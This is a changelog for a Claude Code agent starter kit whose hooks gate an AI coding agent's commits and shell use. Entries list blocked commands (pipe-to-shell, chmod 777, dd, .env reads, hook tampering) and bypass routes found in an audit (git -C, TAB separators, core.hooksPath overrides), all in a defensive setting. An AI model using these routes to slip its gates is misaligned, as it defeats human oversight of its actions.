Updates now refresh the kit’s own hooks. The settings.json merge concatenated hook arrays, so on update a stale kit hook entry (e.g. an old context-usage hook with a short timeout) survived next to the refreshed one — the outdated one then timed out — and a genuinely new hook event (SessionStart) could be missed. The merge is now hook-aware: kit-owned hooks (any command referencing .claude/hooks/) are treated as authoritative, so current entries land, stale ones drop, and new events wire up, while the project’s own custom hooks and permissions are preserved.
Settings merge no longer needs jq. On machines without jq (common on Windows Git-Bash) the merge was skipped entirely, so updates never applied new hooks or corrected timeouts. A python3 fallback with identical semantics now runs when jq is absent; if neither is present the kit’s reference settings are written alongside for a manual reconcile instead of a silent skip. A smoke-test regression guard locks the hook-aware behaviour in.

[1.4.0] - 2026-07-13

Added

Four new skills. systematic-debugging (root-cause a bug before touching a fix), frontend-design (visual/UX quality above architecture and a11y), mcp-builder (build a Model Context Protocol server), and worktree (isolate risky or parallel file-mutating work in a git worktree so uncommitted changes are never clobbered). 34 skills total.
Two slash commands. /update-csk (version-check → update → verify with the doctor → prompt /compact to reload) and /doctor-csk (health-check a live install — hooks executable, core.hooksPath set, gates wired), backed by eval/doctor.sh.
The plugin edition now ships the tool-level gate hooks (guard-bash, guard-write, context-usage, session-guard, session-rehydrate) via an auto-discovered hooks/hooks.json resolved through ${CLAUDE_PLUGIN_ROOT}. The git-commit trace/secret/bloat scan still needs the full install.
Session rehydration. A SessionStart hook re-surfaces docs/SESSION_STATE.md across a /compact or /clear boundary, completing the handoff → clear → resume loop.
adopt branch choice. --here / --new-branch flags plus a smart default (first adopt → a review branch; a routine update whose .claude/ is gitignored → the current branch; a tracked .claude/ → ask).
Install-time supply-chain scan. eval/scan-skill.sh scores a skill/agent file for red flags (pipe-to-shell, known exfil hosts, prompt-injection directives, credential-file reads); adopt runs it read-only over the project’s existing (non-csk) skills/agents and surfaces any finding — advisory, never blocking.

Changed

Progressive-disclosure retrofit of eight skills — depth moved into references/, loaded on demand, to lower the on-invoke cost without touching the always-on budget.
Review rigor. code-review gained a two-stage verdict (verify a finding before reporting it) and a named lens panel; routing-eval gained negative routing tests; AGENT_TEMPLATE documents a test-first workflow.
README front-loads a Quick Start and collapses the agent table so install is visible in the first screen; counts refreshed to 34 skills.
Token hygiene. A per-skill frontmatter ratchet and a cache-stable-ordering note. (Description trimming was deliberately not done — it would trade routing reliability for a marginal always-on saving.)
review-agent-csk inherits the session model; every agent carries a color; CI uses actions/*@v5 and validates the plugin manifest.

Fixed

Security — tool-level gate bypasses (from an adversarial audit). guard-bash.sh now uses one git matcher that catches git -C … / TAB separators, quote/backtick-wrapped git commit/push, --force-with-lease, git -c core.hooksPath=…, and the no-jq/no-python3 fallback — without over-blocking a commit whose message merely contains a subcommand word. Gate-tamper is matched by target path (interpreters, variable-indirected redirects, .git/hooks), so a guard hook cannot be silently rewritten. Reading a .env through the Bash tool is blocked.
doctor.sh no longer reports “healthy” on a disarmed install — a missing git hook, an empty hook array, or a hook neutered to exit 0 (caught by a behaviour probe) all fail.
profiles.conf — a --backend install could ship frontend-design (a UI-only skill); it is now pruned.
Installer hygiene — start.sh makes hooks executable via a glob so a hook added later is covered; kit-only smoke-test checks are guarded so an installed project (and the e2e rehearsal) pass.

[1.3.0] - 2026-07-13

Added

Six new tool-level gates. The gate layer now covers more than commit/push approval and the existing destructive-op block:
- RCE / permission-nuke — pipe-to-shell (curl…|bash), chmod 777 and dd of= are hard-blocked in every permission mode (guard-bash.sh).
- Gate-tampering — redirecting core.hooksPath, or editing/deleting a hook script, is blocked both from the shell (guard-bash.sh) and from the file tools (new guard-write.sh + a Write|Edit PreToolUse matcher). A gate you can silently remove is not a gate. settings.json stays editable so the update-config skill works.
- Repo-bloat — build/vendored artifacts and blobs over 5 MiB are blocked at pre-commit (override via CSK_MAX_FILE_BYTES).
- Secret-file — a file that is a secret by name (.env, id_rsa, *.pem/.key/.p12, .npmrc, …) is blocked at pre-commit; .env.example/.sample/.template stay committable.
- Force-add / lockfile deletion — git add -f (bypasses .gitignore) and deleting a lockfile are blocked (guard-bash.sh).
- Default-branch warning — committing straight onto main/master is surfaced in the approval prompt (a warning, not a block: a fresh project legitimately lives on main).
README “How this kit is different” section (EN + TR) — a comparison against a typical prompt collection / agent kit, with the new gates added to the Rule → gate table.

Changed

The update command is now documented for every channel (EN + TR). Homebrew (brew upgrade … && claude-starter-kit update) and the release tarball (re-run bash adopt.sh) previously showed only fresh-install and adopt; the refresh path was spelled out for npx only.

Fixed

context-usage.sh can no longer time out on a huge transcript. A single pasted payload becomes one multi-MB JSONL record; the line-based tail -n then dragged the whole blob through the scanner (~1.4s for a 60MB paste — over the 10s hook timeout on a slow Windows box with no jq). The tail is now bounded by bytes (256 KiB → 4 MiB), so the same case scans in ~12ms; when the record sits past the window the whole-file fallback runs only while the transcript is small enough to finish in time, and past a 200 MiB cap (CSK_CONTEXT_MAX_BYTES) it fails open — a missing measurement line is recoverable, a timed-out hook is not.

Note

The new pre-commit gates (repo-bloat, secret-file) can block operations that previously passed — committing node_modules/, a .env, or a large binary. That is intended; a genuine exception is escapable via .secret-allowlist.txt, CSK_MAX_FILE_BYTES, or an explicit --no-verify (§4.5).

[1.2.2] - 2026-07-12

Fixed

planner-csk inherits the session model instead of being pinned to sonnet. The agent had drifted to model: sonnet while both READMEs documented inherit. Planning is the highest-leverage, read-only, once-per-feature step — its output steers every downstream producer agent — so it should run on the strongest model the user runs (inherit → Opus when Opus is the session model), not be capped below it. Cheap pins stay on the mechanical, high-frequency agents (review/commit/session on haiku). The READMEs were already correct; only the agent file changed.

[1.2.1] - 2026-07-12

Changed

iterate and code-review now prefer an external, machine-grounded verifier over LLM self-grading. An exit test / acceptance check should rest on an objective signal (a test exit code, a schema match, a quality gate), not the model’s own “looks done” or a lone “review clean” — a model grading its own output inflates. iterate says so at the exit-test step; code-review now flags any change that makes a check pass by weakening the check (loosening an assertion, lowering a threshold, editing the test instead of the code).
token-budget replaces the guessed “7×” figure with a measured subagent context cost. Measured in a real transcript: a subagent’s first turn is cache_read=0 — context is built 100% fresh, nothing shared with the main thread (~10k tokens with restricted tools, ~16k with full tool access). Only the skill listing (~2.5–3k) is inherited by a subagent; the discipline (DISCIPLINE.md) and agent descriptions are not. The delegation threshold is reframed around that fresh-context floor: delegate for isolation, not to shave a few reads.

[1.2.0] - 2026-07-12

Added

brainstorm skill — divergent discovery before planning. Turns a fuzzy, under-defined ask into 2–4 distinct scoped options (including a deliberately minimal one) plus named blocking unknowns, converges to an explicit user choice, then hands the chosen direction to spec-planning. Wired as the pre-planning front-end of planner-csk and reachable via the new /brainstorm command. Bounded and gate-compatible — it asks with explicit options and never fills ambiguity by guessing.
reflect skill — retrospective self-audit. After nontrivial work, a single bounded pass over unverified assumptions, silently-skipped items, whether the approach was right, and which “done/works” claims rest on observed evidence vs. inference. The step-back counterpart to iterate’s refine-to-done loop; produces findings, not code.
Panel mode in the code-review skill. For high-stakes, hard-to-reverse decisions (architecture, a public API contract, a security boundary), evaluate the change from several independent adversarial lenses in parallel and synthesize their objections rather than averaging them. Reserved for high stakes; routine diffs keep the single-lens review.
A Turkish skill catalogue in README.tr.md. The table’s summaries are now Turkish, sourced from packaging/skill-summaries.tr.tsv — build-time data that is NOT part of the always-on payload, so the Turkish text spends no SKILL.md frontmatter byte budget.

Changed

build-readme-catalog.sh generates each README in its own language. English summaries still come from each SKILL.md; Turkish summaries come from the new TSV. The skill NAME set (the directory listing) drives both, so the two tables always hold the same rows in the same order. --check now also fails if any skill lacks a Turkish summary — a drift gate, already run in ci.yml and release.yml.
The skill-description byte budget in smoke-test.sh is raised 8500 → 9250. The two new skills add ~660 bytes of always-on frontmatter; the bump is deliberate and explicit, as the budget mechanism requires.
Both READMEs (counts 28 → 30 skills, 5 → 6 commands, version and skill badges), the CLAUDE.md structure line, and the orchestration SVGs (brainstorm → plan in stage 1) reflect the additions.

[1.1.12] - 2026-07-11

Fixed

smoke-test.sh no longer fails an installed project for the user’s OWN skills. The “every skill declares Trigger phrases” check — like the byte budget — is a KIT convention; run inside a project it failed the user’s own trigger-less skills, a pre-existing quirk that surfaced once adopt began importing taken-over agents. Both checks now GATE only in the kit repo and REPORT (a note, not a failure) in an installed project. Your project’s own agents and skills are your call.

[1.1.11] - 2026-07-11

Changed

On takeover, adopt imports a taken-over agent’s domain into an active project skill instead of only archiving it. Before, the overlapping project agent was moved to .claude/superseded/agents/ (inert), so its domain knowledge dropped out of the working setup. Now each taken-over agent is converted to a draft skill skills/<name>-local — its description and body carried over, a Trigger-phrases line added — which the kit’s -csk agent applies (agent = who/when, skill = the how). The raw original is still backed up under superseded/agents/. The generated skill is a draft to refine.
The always-on byte budget now gates only the kit’s payload, not an installed project. In a project your own agents/skills (including the ones adopt imports) legitimately add to the always-on cost, so smoke-test.sh reports the numbers there instead of failing; it still fails in the kit repo. A CI e2e now runs the adopted project’s own smoke-test to catch a malformed import.

[1.1.10] - 2026-07-11

Fixed

adopt could fail to open its handover branch when run twice in the same repo within one second. The branch is named kit-adopt-<timestamp> at one-second resolution, so a second adopt in the same second collided with the first and git checkout -b failed. It now appends a counter until the name is free. This also surfaced as a flaky CI adopt e2e (the refresh scenario runs adopt twice); the fix makes it deterministic.

[1.1.9] - 2026-07-11

Changed

The “ask with options at a decision point” rule now demands a structured form. The discipline already asked for options with a recommendation, but the wording (“present explicit options”) let a model satisfy it with a prose “X, or Y?” question. It now reads “ask with numbered options (never an open-ended either/or), each with a recommendation” — so a decision is put as a clear multiple choice, not an open question. This is model discipline, not a tool-level gate (asking a question is plain text with no call to intercept), so it raises adherence rather than enforcing it.

[1.1.8] - 2026-07-11

Fixed

adopt can correct a stale generic stack on refresh. A project adopted before the deeper stack detection (1.1.7) may carry stack=generic in kit.conf even though it is clearly DevArchitecture. A refresh trusts the recorded stack by design, so that stale value used to stick — keeping devarch-module pruned and the generic backend agent in place. adopt now notices the mismatch (recorded generic + a Business/Handlers + .sln layout), surfaces it, and offers to correct it to dotnet, which restores devarch-module and the .NET backend agent. It never flips silently; a CI e2e covers the correction.

[1.1.7] - 2026-07-11

Fixed

adopt misread a .NET project as generic when the solution lived under ./backend. The stack sniff only looked at the repo root (ls ./*.sln), so a DevArchitecture project with its .sln under ./backend fell back to the generic backend and dropped the devarch-module pattern skill. It now searches a few levels deep, detects the DevArchitecture Business/Handlers layout, and on an interactive fresh adopt confirms the choice. The generic prune of devarch-module also applies to a fresh adopt now, so a generic project no longer carries a .NET pattern skill it never uses.

Added

adopt resolves same-domain agent overlaps instead of only noting them. When a project already has an agent covering the same job as a kit agent (e.g. backend-expert vs backend-expert-csk), the router had two candidates and usually picked the project’s older one — so the kit’s agent sat idle. adopt now detects the overlap and offers takeover (the kit’s -csk wins; your agent is moved to .claude/superseded/agents/, preserved so you can fold its domain into a project skill), keepmine (your agent wins; the kit’s overlapping -csk is not installed), or coexist (keep both, documented). A non-interactive adopt defaults to takeover. A CI e2e test locks down both the deeper stack detection and the overlap takeover.

[1.1.6] - 2026-07-11

Added

A skill catalogue in the README, generated from the skills themselves. Readers can now see all 28 skills with a one-line summary of each — in a collapsible Full catalogue block — instead of a vague “and more”. packaging/build-readme-catalog.sh builds the table from every SKILL.md frontmatter (the single source) and its --check mode fails CI and the release if the README drifts from the skills, so the count can never go stale again the way 27-vs-28 did. The table is English in both READMEs (skill names are English identifiers).

[1.1.5] - 2026-07-11

Changed

The backend expert is now pattern-neutral; DevArchitecture is the default, not the identity. backend-expert-csk was branded “owner of the DevArchitecture pattern” with its layout, result types, and AOP order hardcoded — and the --generic stack shipped that same DevArch-branded agent, just without its skill. The agent now applies the project’s backend-pattern skill — devarch-module (MediatR CQRS / IResult / AOP) by default; a project on another pattern (Clean Architecture, Vertical Slice, Minimal API, plain layered) declares its own pattern skill under .claude/skills/ and the agent follows that instead. This restores the kit’s own rule (agent = who/when, skill = how) and gives a coherent story for a backend that is not .NET/DevArchitecture. Nothing forces DevArch.
adopt.sh infers a legacy project’s stack from the presence of the devarch-module skill instead of grepping the agent text (no longer a reliable signal). The template CLAUDE.md, the devarch-module skill, and the start.sh generic wizard now document the pluggable-pattern story.

[1.1.4] - 2026-07-11

Added

iterate skill — a bounded refine-to-Done loop. Names the discipline the kit already leaned on: don’t stop at the first attempt, repeat change → verify → check until the acceptance criterion is objectively met (tests green, review clean, nothing deferred), reporting the gap each round and stopping after two rounds with no progress. Distinct from the harness /loop (which schedules a prompt on an interval); it never commits, pushes, or deploys on its own — §4.4 approval still gates the commit — and it keeps to the token discipline. Reaches full installs and the plugin edition (both ship skills/).

[1.1.3] - 2026-07-11

Changed

review-agent-csk is now named in the Definition of Done, not only in the Close flow. The Close phase already gated a commit on a clean review, but the DoD checklist the model measures “am I done?” against did not list it — so on a logic-bearing change “commit directly” could surface as a peer option to reviewing. It now sits on the Done line beside tests-green and the triggered skills. (Reaches full installs via start.sh / adopt.sh; the plugin-lite edition ships no discipline, so it is unaffected.)

[1.1.2] - 2026-07-11

Fixed

The session-fill hook timed out on Windows, so the measured 🔋 Session line never reached the model. context-usage.sh scanned the whole transcript on every turn, though the only record it needs — the last main-context turn’s usage — sits 1–3 lines from the end of the file (43 at worst across 71 real transcripts). Stock Git Bash on Windows ships no jq, so the slower awk path runs: on a 180 MB transcript it took ~4.7 s, and with MSYS fork cost and a cold Defender scan it blew the hook’s 10 s ceiling. The hook was killed and its output discarded, so context fill could not be measured. It now reads the tail (tail -n 200, widening to 2000, then the whole file only as a fallback); a window too small to contain the record can only come back empty, never stale. Same number as before — measured byte-identical across 71 transcripts on both engines — at ~40 ms instead of 4.7 s.
On the jq-less path a returning subagent’s usage was read as the session’s own fill. When a subagent returns, its result lands in the main context as a type:"user" record whose toolUseResult.usage is raw, unescaped JSON. The awk text-scan matched it and reported the subagent’s tokens: a 92%-full context showed 0.9% → “continue”, so the 75%/90% handoff gate stayed silent exactly when it mattered — reachable by interrupting a subagent. Both engines now require "type":"assistant", which the raw sub-record cannot satisfy; jq was already anchored at .message.usage and unaffected. Verified against a reproduction of the exact bug.
The three hook timeouts move from 10 s to 30 s — Claude Code’s own documented default for a UserPromptSubmit hook, which the kit had set below. On the success path the tailed script returns in well under 100 ms; the raised ceiling only absorbs a cold-disk worst case, and a timeout never blocks the prompt itself. smoke-test.sh §6i locks down the tail ladder, the anchor, and the poison case on both engines.

[1.1.1] - 2026-07-10

Fixed

The pre-commit scanners went blind on a large staged diff. Both scanners fed the added lines to grep -q through a pipe. grep -q exits on its first match, the pipe closes, printf dies of SIGPIPE (141), and set -o pipefail turns that into a failed if — so a match counted as no match. Small commits were scanned; large ones were not, and an AI-authorship trace or a live secret sailed through silently. Reproduced: a JWT in a 20,000-line staged diff was committed with no warning. The added lines now go to a temp file and every pattern greps that file, so no pipe can close early. smoke-test.sh locks it down.
A project that shares .claude/ could not commit it. adopt.sh offers to track .claude/ so a team shares the kit, but the trace scan then found the tool’s name inside the kit’s own scripts and blocked the commit — the kit failed its own rule. The trace scan now skips .claude/: that tree configures the assistant, legitimately names the tool it configures, and an update overwrites it. The secret scan still covers .claude/ — a token pasted into settings.json is still a token. §4.3 no longer claims .claude/ is always local.
An update that lands while a session is running is now announced. CLAUDE.md and the discipline it imports are read once, at session start. Updating the kit mid-session replaced every file on disk while the rules already in the model’s context stayed at the previous version — so the assistant kept quoting rules that no longer existed (for example, telling you to set CLAUDE_GIT_OK=1 long after the commit gate had learned to ask you directly), and nothing said otherwise. context-usage.sh now stamps .claude/VERSION on the session’s first turn, compares it on every later turn, and injects ⚠️ kit updated X → Y mid-session until the session is restarted. It fails open: no stdin, no session_id or no VERSION means silence, and it never fires on the Stop payload session-guard.sh pipes through the same script.
start.sh and adopt.sh close by telling you to restart Claude Code if it is already open in the project.

[1.1.0] - 2026-07-10

Added

In-session commit approval. guard-bash.sh answers PreToolUse with permissionDecision: "ask", so you approve git commit / git push at a prompt only you can answer and the assistant then runs it — instead of the gate handing you a command to paste into your own terminal. Verified honoured in default, acceptEdits, auto and dontAsk; bypassPermissions and any unrecognised mode fail closed. CLAUDE_GIT_OK remains a headless/CI pre-authorisation and never substitutes for approval. §4.5 destructive operations stay a hard block in every mode.
.claude/kit.conf records the profile, backend stack and installer. The updater refreshes a project in the shape it was installed in, and derives that shape from the installed files when the stamp is absent.
claude-starter/profiles.conf — one source for the profile → pruned agents/skills map, read by both installers.
.claude/DISCIPLINE.md + @import. start.sh now installs the discipline as a separate kit-owned file, joined to your CLAUDE.md by one import line, so discipline updates reach installed projects. adopt.sh detects an inline (pre-DISCIPLINE.md) layout, shows which lines it occupies, and offers to migrate it after writing a backup.
Second session warning at 90%, on top of the one at 75%.
Always-on token budget gate. smoke-test.sh fails when the discipline or the agent/skill descriptions exceed their byte budget, and asserts every agent and skill still declares its trigger phrases.
context-usage.sh --verbose for the long form with raw token counts.

Changed

The Stop hook no longer blocks with exit 2. It emits a systemMessage once per threshold, so it neither renders as Stop hook error nor forces an extra assistant turn on every reply past 75%.
The line injected into context each turn is compact; --verbose keeps the long form.
Discipline and agent/skill descriptions trimmed from 11,205 to 9,198 tokens (measured on a real turn). Rules and trigger phrases are untouched; only explanations of rules a hook already enforces were compressed.
§4.4 in CLAUDE.md corrected: the hook does receive permission_mode, and settings.json carries no deny rule for git — the gate is the hook.

Fixed

adopt.sh split CLAUDE.md on <PROJE ADI>, a marker that stopped matching once the payload was translated to English, so DISCIPLINE.md swallowed the whole file including the project template. The split now uses an anchored KIT:DISCIPLINE-END sentinel and both installers abort if it is missing.
The @import check matched the path anywhere in the file, including prose, so a CLAUDE.md that merely mentioned .claude/DISCIPLINE.md never got the import — and never loaded the discipline.
Refreshing a --backend project re-added the frontend agents (10/24 → 11/27), and a --dotnet project had its DevArchitecture backend expert replaced by the generic variant.
context-usage.sh’s no-jq fallback counted sidechain (subagent) records and summed only cache_read, producing a percentage that was both understated and polluted.
Every awk is pinned to LC_ALL=C; a tr_TR locale emitted %77,2 into the threshold comparison.
The installers strip CR, so a CRLF checkout of profiles.conf or kit.conf can no longer silently disable profile pruning.

1.0.9 - 2026-07-08

Changed

Surfaced FIRST_PROMPT.md: start.sh’s closing message and the README now point to .claude/FIRST_PROMPT.md — the optional first-message kickoff that verifies the agents/skills and plans the first sprint. It was installed but never referenced anywhere, so it looked like an unexplained stray file.

1.0.8 - 2026-07-08

Fixed

Windows launch made robust (Git Bash + WSL): the npx runner now (a) prefers Git Bash if installed — it accepts C:/… paths natively and avoids WSL’s /mnt/c and 8.3-name pitfalls; (b) expands 8.3 short paths (…\LONGNA~1.DEV\…) before staging; and (c) under WSL translates the Windows path to /mnt/c/… inside bash, dispatched by shell flavour. If the staged script still can’t be read it now fails with an actionable message instead of a cryptic “No such file or directory”. macOS/Linux run unchanged (no path rewriting).
Shell scripts pinned to LF via .gitattributes so a Windows checkout can’t flip them to CRLF.

1.0.7 - 2026-07-08

Fixed

Windows (Git Bash) launch: npx passed a native Windows path (C:\Users\…\start.sh) to bash, which treats \ as an escape — so the path separators were lost and the script wasn’t found (“No such file or directory”). The runner now hands bash a forward-slash path (C:/Users/…/start.sh), which Git Bash resolves. macOS/Linux unaffected.

1.0.6 - 2026-07-08

Added

Secret-scan gate: pre-commit now also blocks staged API keys / tokens / private keys (AWS, GitHub, Google, Slack, Stripe, OpenAI/Anthropic, npm, SendGrid, JWT, and PEM private keys) — the same diff → pattern → block machinery as the trace scanner, with a repo-root .secret-allowlist.txt for exceptions and a smoke-test proof that a staged key is blocked. Prints the matched pattern, never the secret value.

1.0.5 - 2026-07-08

Changed

Agent namespace -cck → -csk (Claude Starter Kit) to match the project name — all 11 agents and every reference across the kit, plugin, and diagrams.
update.sh renamed to adopt.sh so the tarball’s entry point matches the adopt command that npx and Homebrew already use.
README refresh: the title is now “Claude Starter Kit”; “Why this kit?” leads with standout features (a team, not a prompt · security & privacy gates); the agents table and the handover diagram were clarified; attribution was folded into the README (the four-principles source credited) and ATTRIBUTION.md removed.

1.0.4 - 2026-07-08

Changed

adopt.sh (adopt) leaves the change set STAGED, not committed: the kit files land on the handover branch staged-but-uncommitted, so every added/changed file is visible in your editor’s Source Control / Changes panel for review. You commit to accept (git commit) or discard with one reset — nothing is buried in an auto-commit. (Previously everything was auto-committed on the branch, so a developer saw nothing in the Changes view.)

Fixed

Trace scanner no longer trips over its own pattern list: pre-commit excludes .claude/hooks/trace-blocklist.txt from the scan (it definitionally contains every pattern), so a shared/tracked .claude can be committed without the scanner blocking on its own blocklist. Real AI traces in project files are still caught.

1.0.3 - 2026-07-08

Fixed

adopt.sh (adopt) re-run was unsafe: running adopt on an already-adopted project made the git-shim reference itself → infinite recursion on every commit. Adopt now detects a prior install (REFRESH mode), never shims its own hooks, refreshes kit-owned files, and excludes the kit’s -csk agents/skills from the “project” counts (the earlier “N custom agents” over-count).
Confusing decision override: the number-picker ([1-4,6,7]) that silently rejected lists like 1,2,3 and swallowed invalid answers is replaced by “Accept all suggestions? [yes/no]” then a per-decision walk that shows the current value, treats ENTER as keep, and re-asks on invalid input.
#4 hide broke review/rollback: it gitignored .claude before the branch commit, so the payload was absent from the diff and survived rollback. The payload is now always committed to the review branch; hide becomes a documented post-merge step in HANDOVER.
Precedence (#2) is fixed to project-wins (no longer a no-op that could write a contradictory HANDOVER); the non-.NET backend swap no longer clobbers a preserved file; PROOF-1 measures the scanner (not the project’s allowlist) and matches the current hook output; HANDOVER/ADR use the real base branch, not literal main.
Remaining Turkish removed from public surfaces: the CI workflow’s job/step names and the generated ADR filename (now docs/adr/0001-agentic-kit-adoption.md) are English.

1.0.2 - 2026-07-08

Changed

Fullstack layout: on --fullstack + --dotnet, the DevArchitecture backend is now placed in ./backend (was the project root) and ./frontend is reserved for the frontend — the root no longer looks like a bare backend project. The solution file is renamed to the project’s name (taken from the directory); the full namespace rename stays the agent’s first task (§4.2).

1.0.1 - 2026-07-08

Added

devops-expert agent (11th) — ops/devops specialist; owns the ci-pipeline · vps-deploy · incident-runbook skills (these skills are no longer orchestration-only). Core (in all profiles). Produced with a design panel plus 4-lens adversarial verification.
Deploy tool-level gates: ssh/scp/rsync/docker added to permissions.ask in settings.json — outward-facing deploy verbs now hit approval at the tool level (not just at the LLM behavior level).

Fixed

Confirmation prompt rejected yes: ask_yes (start.sh/adopt.sh) only accepted evet/e/y, so typing yes at the English [yes/no] prompt cancelled the install. Now accepts yes/y/evet/e.
adopt.sh decision keys were Turkish: the Stage-B override labels and internal keys (koru/gevset/gizle…) are now English (keep/loosen/hide…), with matching input letters.
Auto-rollback conflict: vps-deploy rollback uses an atomic rsync --delete instead of rm -rf, so guard-bash (its local rm -rf block) no longer blocks automatic rollback (local rm -rf protection remains).

Changed

Distribution + English: the kit was fully translated to English (with a README.tr.md mirror) and is now distributed via npm (@byerlikaya/claude-starter-kit), Homebrew (byerlikaya/tap/claude-starter-kit), and a Claude Code plugin; a tagged release publishes to all three automatically.
npm bin exposes only claude-starter-kit (dropped the claude-kit alias) for name consistency.
privacy-agent and privacy-compliance: the official KVKK (kvkk.gov.tr) and GDPR (gdpr-info.eu) sources were added as authoritative references; rule interpretation always follows these channels, and the article relied upon is stated in the finding.
Skill ownership clarified: domain skills were explicitly bound to their owning specialist agents (backend-expert → api-design/observability/performance/dependency-audit/i18n-integrity; frontend-expert → a11y/i18n/observability/ performance/dependency-audit; security-expert → red-team; review-agent → docs-writer; planner → adr; commit-agent → release; session-manager → token-budget). i18n-integrity was made core (the backend also produces user-facing text). Only the hook/ops skills (trace-scan, ci-pipeline, vps-deploy, incident-runbook) were deliberately kept orchestration-owned.

1.0.0 - 2026-07-03

First stable release. A Turkish, opinionated-but-backend-optional agent/skill scaffold.

Added

10 agents (thin triggers) + 27 skills (the discipline layer: code review, security, database, deployment, observability, documentation, accessibility, api design, performance, incident response, red-team, i18n, privacy, release, and more).
Profiled setup wizard (start.sh): --backend/--frontend/--mobile/--fullstack + backend stack --dotnet (full DevArchitecture) / --generic (stack-agnostic). Interactive when no flag is given.
DevArchitecture backend foundation: included verbatim behind an approval gate in a from-scratch project; a warning in an existing project.
Rule→gate: trace scan (pre-commit/commit-msg + repo-specific .trace-allowlist.txt), guard-bash.sh destructive block, settings.json permission gates.
Real context measurement: context-usage.sh reads the actual fill from the transcript; the UserPromptSubmit hook injects it every turn — session health rests on measurement, not guesswork.
Verification: static smoke-test.sh + behavioral routing-eval.sh (golden routing + conflicts).
CI: GitHub Actions runs syntax + smoke + routing + 6-profile e2e rehearsal on every push/PR.

Notes

The discipline layer and the frontend are stack-agnostic; the backend is opinionated (.NET/DevArchitecture) or generic.
Language is Turkish. No AI trace / third-party template name leaks into the artifacts (§4).

Changelog

[3.0.0] — 2026-09-28

BREAKING — Claude Starter Kit is now Crewforth

Added — 2.x installs reach 3.0 through the old package name

Removed — the Homebrew channel

BREAKING — the backend is stack-agnostic; the .NET install path is gone

Changed — the slash commands are skills; forked sessions are recognised

Fixed — found by the release rehearsal

Added — “an update is out, update now?”

Added — the Crewforth front page and a one-time star line

Added — crewforth.com, built from this repository

[2.13.0] — 2026-09-23

Before you update — five things that change behaviour

Changed — the e2e rehearsal says why it failed

Fixed — an assertion inside a subshell could not fail the parser suite

Changed — staging and creating a branch no longer ask, in any mode

Changed — one path on every OS: the kit no longer uses jq or python

Fixed — defects that only lived on machines without jq or python

Removed

Added — the installer asks which language to speak

Fixed — Turkish mode printed English

[2.12.0] — 2026-09-22

Before you update — five things that change behaviour

Added — the installer speaks Turkish; what it writes stays English

Fixed — unattended installs no longer hang, and --yes no longer clones a third-party project

Changed — .gitignore is asked, and the summary shows every line it will write

Fixed — an adopted install no longer publishes docs/

Changed — a refusal names the way forward, not the violation

Added — verify.sh finds assertions that pass without being counted

Fixed — forced git branch is blocked like reset --hard

Fixed — every way of creating a branch asks, not only git checkout -b

Fixed — CLAUDE_GIT_OK pre-authorises a headless commit again

Changed — the .NET backend-pattern skill is now cqrs-aop-module (was devarch-module)

Added — §4.6: a commit is refused unless something reviewed THAT diff

Changed — the audits go out at once, and the reviewer closes rather than opens

Added — an eval that pressures the model to weaken a test instead of fixing the code

Added — security-scan knows when not to scan, when not to run code, and how to read code built on a model

Added — finished work is held up against the plan, not only against the tests

Added — the routing eval asks whether the right owner WINS, not only whether it could match

Added — a commit can no longer quietly lower the quality bar

[2.11.0] — 2026-09-16

Before you update — two things that change behaviour

Measured on Windows — what the queue actually returned

Fixed — the .env gate read the command, not the code it was about to run

Changed — §4.5 now forbids recording a bypass, not only performing one

Fixed — the route hint depended on one field name, and nothing would have said so

Added — the session is told when the commit gate cannot reach a person

Fixed — the two mandatory steps a real session skipped, and why one of them did not get a gate

Fixed — §4.2 named the vendor in the one place §4.2 forbids, and left its own rule as a comment

Fixed — a blocklist pattern that cannot compile now says so, in the kit’s words

Added — the secret scanner can now see a credential that has no issuer prefix

Fixed — every documented way to start the panel assumed a PATH the kit deliberately does not edit

Added — a second session can find the panel that is already running

Added — confidence-check asks whether the work can be proven at all

Changed — the unvetted-component warning asks for an action instead of describing one

Fixed — the route hint scored subagent reports as if they were requests

Fixed — three components gave three different answers about commit language

Fixed — rules that described themselves as gates, and a DoD that leaned on a built-in

Fixed — /studio-csk sent the reader to a path that does not exist

Fixed — session-manager-csk and the discipline disagreed about who writes the status line

Added — two costs the token discipline did not name

Added — Windows commit guidance, and restart is not install

Not changed — the Windows agent-tools report rested on a premise that does not hold

[2.10.1] — 2026-09-12

Fixed — the npm page showed the Turkish README

Fixed — --version ran the installer

Fixed — the release tarball depended on the machine that built it

Changed — the plugin edition is published with the approved release, not the merge

Fixed — docs: the plugin edition’s panel and the gate log

Fixed — gates: the site check and the Studio serve probe passed what they exist to catch

Fixed — smoke: a CRLF checkout failed the budget gate as if prose had been added

Fixed — docs: the Windows panel stall is stated as measured

[2.10.0] — 2026-09-11

Changed — “tests green” is one run of the suite on the final code

Fixed — on the pure-bash tier a stock Windows install runs, a large command could outlast the hook’s 60 s timeout

Fixed — the commit-message trace scan was blind to a CRLF blocklist

Fixed — with a working jq, the transcript byte window never took effect

Fixed — a path in the command refused a commit whose message was clean

Changed — pre-commit’s scans ask once whether anything can match

Fixed — two smoke gates could report green while broken

Fixed — unattended installs no longer hang, and `--yes` no longer clones a third-party project

Changed — `.gitignore` is asked, and the summary shows every line it will write

Fixed — an adopted install no longer publishes `docs/`

Added — `verify.sh` finds assertions that pass without being counted

Fixed — forced `git branch` is blocked like `reset --hard`

Fixed — every way of creating a branch asks, not only `git checkout -b`

Fixed — `CLAUDE_GIT_OK` pre-authorises a headless commit again

Changed — the .NET backend-pattern skill is now `cqrs-aop-module` (was `devarch-module`)

Added — `security-scan` knows when not to scan, when not to run code, and how to read code built on a model

Fixed — `/studio-csk` sent the reader to a path that does not exist

Fixed — `session-manager-csk` and the discipline disagreed about who writes the status line

Fixed — `--version` ran the installer

Changed — `pre-commit`’s scans ask once whether anything can match

Fixed — `--dotnet` copied fine into a path where the build cannot run

Changed — Studio ships with the kit, and `/studio-csk` launches it

Added — `verify.sh studio`

Removed — `FIRST_PROMPT.md`